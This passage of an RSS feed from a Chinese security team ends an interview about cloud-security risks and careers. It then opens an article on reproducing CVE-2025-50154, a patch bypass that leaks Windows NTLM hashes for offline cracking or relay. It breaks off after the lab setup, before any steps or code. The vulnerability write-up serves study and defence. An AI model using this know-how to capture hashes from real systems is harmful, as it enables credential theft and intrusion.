8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">现在很多企业开始重视云安全，但在业务实际部署的过程中，往往会在 GitHub、Docker 镜像、日志文件中硬编码 API 密钥，导致被攻击者利用访问敏感的云资源；而开发者使用第三方 Docker 镜像、NPM / PyPI 等依赖时，也可能下载到恶意软件包，导致供应链投毒攻击，这两块我觉得值得深挖。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">同时我觉得IAM权限管理是最重要也是最容易被忽视的，很多企业和业务在初期为了方便运维，通常将很多账号的权限开的非常大，后期又不去实施安全策略定期更换密码，也没有定期核查和治理相关的权限。导致突破一个用户账号使得云上资产被攻破，甚至整个域都被拿下的不在少数。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-size: inherit;color: rgb(15, 76, 129);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong><span leaf="">您对网络安全行业的未来发展充满信心吗？您认为新人在这个领域有哪些机会和挑战？</span></strong></strong></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">曾哥：</span></code><span leaf="">先给出一个结论，我对网络安全行业的未来发展是有一定信心的。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">正所谓“盛极必衰，衰极必盛”，不管是任何事物，在发展的过程中都是呈现周期性的，我认为网络安全行业依旧还有兴起的希望，目前网络安全行业仍在转型，转型中的阵痛大家都感受到了。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">我在线下和不少大佬交流过这个问题，目前对于人才的需求还是存在的，基础人才有需求，但更需要很多高水平人才。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">作为白帽子，不能浮躁，要沉得住气，坚守初心去努力磨砺自己的技术。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">也可以尝试安全其他赛道上面的内容，去迎接更好的明天。从整体的角度来说，未来谁也不知道。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">但从规律的角度来看，行业也会越来越规范，不可能一直差下去，要等行业的转型和契机。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">新人机会的话，我一直在说网络安全并不只有传统的红蓝攻防，还有很多新兴赛道，比如云安全、区块链安全以及数据流动安全等方向，尝试去了解这些安全分支领域，看看适合不适合自己，再去深入学习和寻找机会，都是可行的。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">网络安全的学习道路，很多时候都是孤身一人。实话说，学习网络安全是很辛苦的，要耐得住寂寞，能深耕于网络安全领域，对技术有自己的独立思考。每个人都有属于自己的道路，学习的路上，希望各位师傅能不忘初心、砥砺前行。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-size: inherit;color: rgb(15, 76, 129);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><strong><span leaf="">没必要追寻他人的脚步，做好自己、把握当下即可, 不过分自卑，也不过分自傲，努力进取，必有所成！</span></strong></strong></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">曾哥（AabyssZG），一位深耕云安全与威胁情报领域的青年技术新星。作为渊龙Sec安全团队创始人、国际云安全联盟渗透测试工作组成员，他兼具攻防实战经验与技术布道热情，在国家级攻防演练中屡获佳绩，并持续通过开源项目与技术文章推动行业知识共享。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">他的安全之路始于高中时手机中毒的自救经历，从反编译APK成功解密的成就感中找到了技术使命感。早期受T00ls&#34;低调求发展&#34;理念影响，他形成了沉心钻研、务实求真的技术风格，至今保持每日阅读海外安全论坛的习惯，并将资源整合为团队导航站普惠同行。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">在开源领域，他是SpringBoot-Scan等热门工具的作者，坚信&#34;优秀工具必须提升效率或解决痛点&#34;。面对行业浮躁，他始终坚持&#34;不博眼球、不发段子、不割韭菜&#34;的底线，带领团队在红蓝对抗、云安全、Web3等方向扎实深耕。</span></p><p style="text-align:justify;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;line-height: 1.75;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span leaf="">对于未来，他相信网络安全行业在经历阵痛后必将复兴，建议新人沉心打磨技术，关注云安全、区块链等新兴赛道。正如他所言：&#34;没必要追寻他人的脚步，做好自己、把握当下即可&#34;——这位始终在代码与分享中找到乐趣的守夜人，正用属于自己的节奏，在云时代的安全长河中留下坚实印记。</span></p></div><div><p data-pm-slice="0 0 []" class="js_darkmode__103" style="-webkit-tap-highlight-color: transparent;margin: 1.5em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-weight: 300;letter-spacing: normal;text-align: start;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-weight: bold;">欢迎搭建关注渊龙Sec安全团队公众号~</span></span></p><hr style="-webkit-tap-highlight-color: transparent;margin: 1.5rem 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background-color: rgb(255, 255, 255);border-top: 1px dashed rgb(165, 165, 165);color: rgb(62, 62, 62);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;border-right: none;border-left: none;border-image: initial;border-bottom: none;height: 1px;font-size: 16px;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-weight: 300;letter-spacing: normal;text-align: start;"/><blockquote style="-webkit-tap-highlight-color: transparent;margin: 1em 0px;padding: 15px 15px 15px 1rem;outline: 0px;border-left: 6px solid rgb(220, 230, 240);color: rgb(129, 145, 152);font-size: 0.9em;text-indent: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: normal;background: rgb(242, 247, 251);border-top-color: rgb(64, 64, 64);border-right-color: rgb(64, 64, 64);border-bottom-color: rgb(64, 64, 64);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: inherit;display: block;overflow: auto;word-break: normal;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;letter-spacing: normal;text-align: start;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">我是曾哥，我在渊龙Sec安全团队等你</span><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">微信公众号：渊龙Sec安全团队</span><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">欢迎关注我，一起学习，一起进步~</span><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">本篇文章为团队成员原创文章，请不要擅自盗取！</span></p></blockquote></div><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000063" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="430" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=4c67e7ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FfiajytAx7IbfPkMjLIyRLkDoUuREpP4SwzqNe9WfraEfyrUE4wZYFicQ6dUicmnWgycGicCiasp6jYC7OzDsicx8GmqA%2F640%3Fwx_fmt%3Dpng"/></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://mp.weixin.qq.com/s/iiMQT0Yz79u8drQIkIepNw#rd">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=36f1380c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4NTY0MDg1Mg%3D%3D%26mid%3D2247485776%26idx%3D1%26sn%3D21e7c587f021cbab5b4463258f50d564">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 24 Oct 2025 20:37:00 +0800</pubDate>
    </item>
    <item>
      <title>深度复现CVE-2025-50154获取NTLM哈希</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4NTY0MDg1Mg==&amp;mid=2247485771&amp;idx=1&amp;sn=50de196577c1f5c29ab9fab63be5fe82</link>
      <description>让我们跟随N0va7师傅的脚步，从CVE-2025-24054一步一步Bypass从而复现CVE-2025-50154，一起来看看这个Windows的高危传奇漏洞~</description>
      <content:encoded><![CDATA[<p>
原创 <span>渊龙Sec安全团队</span> <span>2025-08-29 17:36</span> <span style="display: inline-block;">广东</span>
</p>

<p>让我们跟随N0va7师傅的脚步，从CVE-2025-24054一步一步Bypass从而复现CVE-2025-50154，一起来看看这个Windows的高危传奇漏洞~</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7d52c6f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibc9lOKElKtibYyWnKGmrkZ8fYk1zj7PthIwicXk9HwTia4JriaLoQZAasEmBpv9NiaYAry5IeLzZrpYCMg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: auto;margin-right: auto;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: linear-gradient(to left, rgb(253, 213, 231), rgb(194, 226, 249));background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;align-items: unset;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(62, 62, 62);border-bottom-color: rgb(62, 62, 62);border-left-color: rgb(62, 62, 62);border-right-color: rgb(62, 62, 62);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: table;flex-direction: unset;float: unset;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: translate3d(-5px, -5px, 0px);width: auto;-webkit-box-reflect: unset;"><span leaf="">1# 漏洞简介</span></span><span style="display: none;"></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">该漏洞允许攻击者在没有任何用户交互的情况下提取 NTLM 哈希值，攻击者可以自动触发 NTLM 身份验证请求，从而实现离线破解或中继攻击以获得未经授权的访问。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">NTLM 是 Microsoft 的一系列身份验证协议，用于确认用户身份和保护网络通信。它通过直接的客户端-服务器“质询/响应”过程工作，服务器发出质询，客户端证明其身份，而无需通过网络传输实际密码。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">虽然 NTLMv2 受到保护，可以抵御彩虹表和传递哈希等预计算攻击，但捕获的哈希值仍然可以被利用。攻击者可能会尝试暴力破解它们离线或使用中继攻击，将窃取的哈希值传递给另一个服务以用户身份登录。如果被入侵的帐户具有提升的权限，这可能会很快导致权限升级和横向移动。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">即使在 Microsoft 针对该问题进行补丁后，安全研究员也找到了一种绕过它并仍然获得 NTLM 哈希的方法，证明威胁并未完全消除，这就是CVE-2025-50154，而它之前的漏洞是CVE-2025-24054。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">1.1 原文链接</span></span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: center;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><a href="https://cymulate.com/blog/zero-click-one-ntlm-microsoft-security-patch-bypass-cve-2025-50154/" target="_blank">https://cymulate.com/blog/zero-click-one-ntlm-microsoft-security-patch-bypass-cve-2025-50154/</a></span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: auto;margin-right: auto;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: linear-gradient(to left, rgb(253, 213, 231), rgb(194, 226, 249));background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;align-items: unset;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(62, 62, 62);border-bottom-color: rgb(62, 62, 62);border-left-color: rgb(62, 62, 62);border-right-color: rgb(62, 62, 62);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: table;flex-direction: unset;float: unset;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: translate3d(-5px, -5px, 0px);width: auto;-webkit-box-reflect: unset;"><span leaf="">2# 旧漏洞-CVE-2025-24054</span></span><span style="display: none;"></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: column;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span data-cacheurl="" data-remoteid="" style="background-attachment: scroll;background-clip: border-box;background-color: transparent;background-origin: padding-box;background-position-x: 50%;background-position-y: 50%;background-repeat: no-repeat;background-size: contain;width: 40px;height: 20px;align-items: unset;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: inline-block;font-size: 22px;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7Ibc9lOKElKtibYyWnKGmrkZ8fl6G1bY0VgicIb7dV0DCFGZlibNy44hJ3u8oKL4YYUBVEcWzdPoJ2qBKw/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><span style="font-size: 18px;color: rgb(0, 0, 0);text-shadow: rgb(171, 224, 225) 4px 3px 0px;line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">2.1基础环境</span></span><span style="display: none;"></span></h3><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">Kali Linux</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">未打补丁的Windows 10</span></p></li></ul><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: column;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span data-cacheurl="" data-remoteid="" style="background-attachment: scroll;background-clip: border-box;background-color: transparent;background-origin: padding-box;background-position-x: 50%;background-position-y: 50%;background-repeat: no-repeat;background-size: contain;width: 40px;height: 20px;align-items: unset;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: inline-block;font-size: 22px;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;background-image: 